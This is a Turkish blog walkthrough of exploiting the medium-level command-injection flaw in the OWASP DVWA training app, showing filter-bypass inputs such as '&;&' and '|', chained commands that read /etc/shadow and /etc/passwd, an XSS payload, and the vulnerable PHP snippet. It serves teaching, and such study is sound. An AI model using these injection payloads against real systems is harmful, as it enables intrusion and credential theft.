OWASP DVWA – Command Execution (Orta Seviye): Web Uygulama Açıklığının İstismar Edilerek İşletim Sistemi Üzerinde Komut Çalıştırma

Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile işletim sisteminde komut çalıştırılabilir. Bu yazıda, OWASP DVWA (Damn Vulnerable Web App) üzerindeki orta zorluk seviyesindeki Command Execution açıklığı istismar edilecek ve hedef uygulamayı barındıran işletim sistemi üzerinde komut çalıştırılacaktır.

Metin alanına “127.0.0.1” gibi bir IP girildiğinde sonucun ekrana basıldığı görülmektedir.

127.0.0.1

 

Bunun yanında 2 komutu ardışık olarak çalıştırmak için “;” kullanıldığında, uygulamanın herhangi bir çıktı vermediği görülmektedir.

127.0.0.1; id

 

Benzer olarak “&&” kullanıldığında da uygulamanın herhangi bir çıktı vermediği görülmektedir.

127.0.0.1 && id

 

Bu karakterlerin filtrelendiği düşünülerek “&;&” kullanıldığında ise hedef işletim sisteminde belirtilen komutların çalıştırılabildiği görülmektedir.

127.0.0.1 &;& id

 

&;&” kullanılarak birden fazla komutun çalıştırıldığı da görülmektedir.

127.0.0.1 &;& id &;& uname -a &;& head -5 /etc/shadow &;& tail -5 /etc/passwd

 

Uygulama kullanıcısının (www-data) yetkisi olmadığı için “/etc/shadow” dosyasının okunamadığı ve herhangi bir hata mesajı ile karşılaşılmadığı da görülmektedir. Ayrıca bu ifadeden sonraki ifadelerin de ekrana yazdırılmadığı görülmektedir.

127.0.0.1 &;& id &;& uname -a &;& tail -5 /etc/passwd

 

Zafiyete sebep olan kod parçacığı aşağıdaki gibidir. “&&” ve “;” ifadelerinin bulunduğu karakterler silindiği için işletim sistemi seviyesinde kod çalıştırılabilmiş oldu.

$target = $_REQUEST[ ‘ip’ ];
$substitutions = array(‘&&’ => ”,’;’ => ”);
$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

 

Bunun yanında “|” karakteri kara listeye alınmadığı için işletim sisteminde kod çalıştırılabilmektedir.

127.0.0.1 | id

 

OWASP DVWA‘da bir uygulama zafiyeti başlığı altında birden fazla zafiyet de bulunabilmektedir. İşletim sisteminde çalışan komutun çıktısının ekrana basılması sırasında, XSS zafiyetinin olduğu da görülmektedir.

127.0.0.1 &;& echo “<script> alert(‘XSS de var’)</script>”

 

 

İlgili Kaynak Kod:

 

 

 

Kaynak:

http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-5—Command-Injection-Medium-Level.php

 

 

 

Yazarın Bilgileri

Abdurrahim ÖZEL
Abdurrahim ÖZEL

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.